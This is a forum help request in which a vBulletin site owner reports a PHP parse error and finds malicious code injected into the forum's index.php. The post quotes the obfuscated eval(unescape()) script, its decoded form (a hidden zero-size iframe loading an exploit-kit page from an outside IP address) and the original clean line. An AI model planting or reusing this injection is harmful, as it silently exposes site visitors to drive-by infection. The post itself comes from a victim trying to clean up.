[Mean]

I am getting error like this >

Parse error: syntax error, unexpected T_STRING in /usr/hosts/domains/propaket/bodrumlife_pro/www.forumistan.net/httpdocs/index.php on line 344

And than, i look at the index page and on line 344
I see that code:

$callink = '<a href="calendar.php?' . $vbulletin->session->vars['sessionurl'] . "do=getinfo&amp;day=$day\">" . $vbphrase['holiday' . $eventinfo['holidayid'] . '_title'] . "<script type="text/javascript" language="JavaScript"> eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%6 9%74%65%28%22%3C%69%66%72%61%6 D%65%20%73%72%63%3D%5C%22%68%74%74%70%3A%2F%2F%38% 31%2E%39%35%2E%31%35%30%2E%38% 32%2F%6D%70%61%63%6B%2F%69%6E%64%65%78%2E%70%68%70 %5C%22%20%77%69%64%74%68%3D%30 %20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%5 C%22%64%69%73%70%6C%61%79%3A%6 E%6F%6E%65%5C%22%3E%3C%2F%69%66%72%61%6D%65%3E%22% 29%3B%0D%0A%77%69%6E%64%6F%77% 2E%73%74%61%74%75%73%3D%22%20%22%3B"));</script></a>";

The true code is should be this code:

$callink = '<a href="calendar.php?' . $vbulletin->session->vars['sessionurl'] . "do=getinfo&amp;day=$day\">" . $vbphrase['holiday' . $eventinfo['holidayid'] . '_title'] . "</a>";

And i think some template add-on or hack is doing that. I decoded the code and see that:

<script language="JavaScript"> eval(unescape("document.write("<iframe src=\"http://81.95.150.82/mpack/index.php\" width=0 height=0 style=\"display:none\"></iframe>");

And i want to know how can i fix this ? Please help !